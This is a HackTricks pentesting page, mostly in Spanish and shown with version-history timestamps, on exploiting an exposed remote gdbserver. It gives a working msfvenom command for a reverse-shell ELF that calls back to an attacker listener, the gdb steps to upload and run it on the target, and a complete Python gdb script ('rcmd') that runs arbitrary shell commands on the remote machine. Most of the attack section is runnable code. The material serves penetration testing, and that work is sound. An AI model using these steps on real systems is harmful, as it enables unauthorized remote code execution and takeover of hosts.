hacktricks/network-services-pentesting/pentesting-remote-gdbserver.md

223 lines
8.3 KiB
Markdown
Raw Normal View History

# Pentesting Remote GdbServer
2023-06-05 18:33:24 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2023-06-05 18:33:24 +00:00
<details>
2023-06-05 18:33:24 +00:00
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2023-06-05 18:33:24 +00:00
</details>
{% endhint %}
2023-06-05 18:33:24 +00:00
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
2023-06-05 18:33:24 +00:00
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
2023-06-05 18:33:24 +00:00
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
2023-06-05 18:33:24 +00:00
## **Información Básica**
2023-06-05 18:33:24 +00:00
**gdbserver** es una herramienta que permite la depuración de programas de forma remota. Se ejecuta junto al programa que necesita depuración en el mismo sistema, conocido como el "objetivo." Esta configuración permite que el **GNU Debugger** se conecte desde una máquina diferente, el "host," donde se almacenan el código fuente y una copia binaria del programa depurado. La conexión entre **gdbserver** y el depurador se puede realizar a través de TCP o una línea serial, lo que permite configuraciones de depuración versátiles.
2023-06-05 18:33:24 +00:00
Puedes hacer que un **gdbserver escuche en cualquier puerto** y en este momento **nmap no es capaz de reconocer el servicio**.
2023-06-05 18:33:24 +00:00
## Explotación
### Subir y Ejecutar
2023-06-05 18:33:24 +00:00
Puedes crear fácilmente un **elf backdoor con msfvenom**, subirlo y ejecutarlo:
2023-06-05 18:33:24 +00:00
```bash
# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf
chmod +x binary.elf
gdb binary.elf
# Set remote debuger target
target extended-remote 10.10.10.11:1337
# Upload elf file
remote put binary.elf binary.elf
# Set remote executable file
set remote exec-file /home/user/binary.elf
# Execute reverse shell executable
run
# You should get your reverse-shell
```
### Ejecutar comandos arbitrarios
Hay otra forma de **hacer que el depurador ejecute comandos arbitrarios a través de un** [**script personalizado de python tomado de aquí**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
2023-06-05 18:33:24 +00:00
```bash
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
target extended-remote 192.168.1.4:2345
# Load our custom gdb command `rcmd`.
source ./remote-cmd.py
# Change to a trusty binary and run it to load it
set remote exec-file /bin/bash
r
# Run until a point where libc has been loaded on the remote process, e.g. start of main().
tb main
r
# Run the remote command, e.g. `ls`.
rcmd ls
```
Primero que nada, **crea localmente este script**:
2023-06-05 18:33:24 +00:00
{% code title="remote-cmd.py" %}
```python
#!/usr/bin/env python3
import gdb
import re
import traceback
import uuid
class RemoteCmd(gdb.Command):
def __init__(self):
self.addresses = {}
self.tmp_file = f'/tmp/{uuid.uuid4().hex}'
gdb.write(f"Using tmp output file: {self.tmp_file}.\n")
gdb.execute("set detach-on-fork off")
gdb.execute("set follow-fork-mode parent")
gdb.execute("set max-value-size unlimited")
gdb.execute("set pagination off")
gdb.execute("set print elements 0")
gdb.execute("set print repeats 0")
super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)
def preload(self):
for symbol in [
"close",
"execl",
"fork",
"free",
"lseek",
"malloc",
"open",
"read",
]:
self.load(symbol)
def load(self, symbol):
if symbol not in self.addresses:
address_string = gdb.execute(f"info address {symbol}", to_string=True)
match = re.match(
f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
)
if match and len(match.groups()) > 0:
self.addresses[symbol] = match.groups()[0]
else:
raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')
return self.addresses[symbol]
def output(self):
# From `fcntl-linux.h`
O_RDONLY = 0
gdb.execute(
f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
)
# From `stdio.h`
SEEK_SET = 0
SEEK_END = 2
gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
if int(gdb.convenience_variable("len")) <= 0:
gdb.write("No output was captured.")
return
gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
gdb.execute('printf "%s\\n", (char*) $mem')
gdb.execute(f'call (int){self.load("close")}($fd)')
gdb.execute(f'call (int){self.load("free")}($mem)')
def invoke(self, arg, from_tty):
try:
self.preload()
is_auto_solib_add = gdb.parameter("auto-solib-add")
gdb.execute("set auto-solib-add off")
parent_inferior = gdb.selected_inferior()
gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
child_pid = gdb.convenience_variable("child_pid")
child_inferior = list(
filter(lambda x: x.pid == child_pid, gdb.inferiors())
)[0]
gdb.execute(f"inferior {child_inferior.num}")
try:
gdb.execute(
f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
)
except gdb.error as e:
if (
"The program being debugged exited while in a function called from GDB"
in str(e)
):
pass
else:
raise e
finally:
gdb.execute(f"inferior {parent_inferior.num}")
gdb.execute(f"remove-inferiors {child_inferior.num}")
self.output()
except Exception as e:
gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
raise e
finally:
gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')
2023-06-05 18:33:24 +00:00
RemoteCmd()
```
{% endcode %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
2023-06-05 18:33:24 +00:00
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
2023-06-05 18:33:24 +00:00
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
2023-06-05 18:33:24 +00:00
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2023-06-05 18:33:24 +00:00
<details>
2023-06-05 18:33:24 +00:00
<summary>Apoya a HackTricks</summary>
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
2023-06-05 18:33:24 +00:00
</details>
{% endhint %}